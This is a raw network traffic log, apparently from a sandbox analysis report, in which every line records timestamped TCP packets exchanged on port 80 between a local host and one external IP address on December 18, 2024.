Dec 18, 2024 21:30:18.824579000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.824702024 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.824851036 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.824944019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.825558901 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.825623035 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.825745106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.825895071 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.826477051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.826544046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.970376015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.970454931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.970632076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.970693111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.970973015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.971040010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.971344948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.971436024 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.971877098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.971926928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.972265959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.972453117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.972621918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.972718954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.973073006 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.973134995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.973486900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.973545074 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.973855972 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.974124908 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.974322081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.974390984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.974651098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.974761963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.975217104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.975326061 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.975429058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.975635052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.976156950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.976232052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.976351023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.976500034 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.977112055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.977226019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.977324009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.977396965 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.978077888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.978157997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.978275061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.978497982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.978996038 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.979052067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.979198933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.979336977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.980573893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.980694056 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.981043100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.981103897 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.981379986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.981477022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.981689930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.981764078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.982139111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.982255936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.982319117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.982384920 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.982873917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.982934952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.983055115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.983124018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.983724117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.983772039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.983926058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.984018087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.984656096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.984719038 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.984843016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.984906912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.985613108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.985658884 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.985778093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.985874891 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.986407995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.986538887 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.986609936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.986687899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.987366915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.987518072 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.987556934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.987848997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.988270998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.988332987 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.988538027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.988624096 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.989228010 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.989289045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.989444017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.989548922 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.990109921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.990187883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.990358114 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.990427971 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.991019011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.991130114 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.991238117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.991280079 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.991992950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.992198944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.992227077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.992505074 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.992928028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.993015051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.993139029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.993204117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.993865967 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.993911982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.994087934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.994231939 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.994823933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.994877100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.995091915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.995224953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.995888948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.996021986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.996140957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.996566057 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.996819973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.996943951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.997061014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.997159958 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.997642994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.997733116 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.997838020 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.997998953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.998487949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.998563051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.998693943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.998805046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.999438047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.999484062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.999744892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.999805927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.000653028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.000725985 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.000778913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.000822067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.001319885 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.001393080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.001578093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.001643896 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.002335072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.002403975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.002469063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.002629042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.003180027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.003263950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.003365993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.003422976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.004126072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.004260063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.004357100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.004451036 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.005018950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.005075932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.005256891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.005326986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.005949974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.006076097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.006166935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.006237984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.007210970 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.007327080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.007469893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.007570982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.008230925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.008353949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.008399963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.008701086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.008837938 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.008908987 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.008959055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.009061098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.009659052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.009788990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.009866953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.009962082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.010636091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.010688066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.010817051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.010941982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.011503935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.011557102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.011712074 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.011774063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.012443066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.012506962 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.012629986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.012672901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.013426065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.013536930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.013560057 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.013603926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.014297009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.014394999 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.014478922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.014579058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.015280008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.015444994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.015466928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.015489101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.016156912 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.016205072 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.016366005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.016530991 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.017075062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.017137051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.017301083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.017426968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.018028975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.018095016 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.018230915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.018286943 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.018913984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.018999100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.162378073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.162458897 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.162501097 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.162590981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.162763119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.162848949 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.163131952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.163197994 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.163752079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.163810968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.164108992 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.164158106 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.164222956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.164458990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.164930105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.165000916 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.165060997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.165138006 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.165857077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.165956974 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.165998936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.166064978 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.166773081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.166821957 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.166959047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.167015076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.167768955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.167910099 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.167927027 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.167953014 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.168612957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.168726921 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.168801069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.168836117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.169565916 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.169682026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.169758081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.169876099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.170738935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.170887947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.170907974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.171058893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.171816111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.171902895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.171986103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.172095060 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.172441959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.172512054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.172637939 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.172740936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.173394918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.173520088 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.173589945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.173652887 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.174235106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.174305916 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.174372911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.174422026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.175200939 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.175247908 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.175326109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.175546885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.176048040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.176111937 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.176244974 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.176295042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.177083969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.177120924 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.177328110 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.177452087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.178101063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.178164005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.178293943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.178350925 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.179083109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.179192066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.179306984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.179339886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.180048943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.180124044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.180152893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.180211067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.180989027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.181080103 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.181108952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.181200027 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.181684971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.181785107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.181961060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.182156086 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.182641029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.182693005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.183264017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.183300972 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.183507919 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.183679104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.183753967 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.183893919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.184540033 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.184587002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.184659004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.184916019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.185374975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.185516119 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.185535908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.185575008 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.186314106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.186352968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.186526060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.186580896 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.187206984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.187247038 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.187405109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.187657118 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.188159943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.188227892 CET	49804	80	192.168.2.5	31.41.244.11
